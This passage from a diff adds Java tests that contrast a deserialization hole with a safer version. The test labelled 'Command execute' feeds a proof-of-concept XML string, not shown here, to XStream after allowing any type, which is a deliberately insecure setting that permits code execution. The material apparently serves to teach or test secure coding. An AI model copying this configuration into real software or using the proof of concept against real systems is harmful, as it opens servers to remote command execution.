xstream.fromXML(xml); // Deserialize + System.out.println(user.getId() + ": " + user.getUsername()); + } + + /** + * Command execute + */ + @Test + public void vuln01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration + xstream.fromXML(poc_xml); // Deserialize + } + + + /** + * Security code. XStream version: 1.4.20 + */ + @Test + public void sec01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.fromXML(poc_xml); // Deserialize + } + +}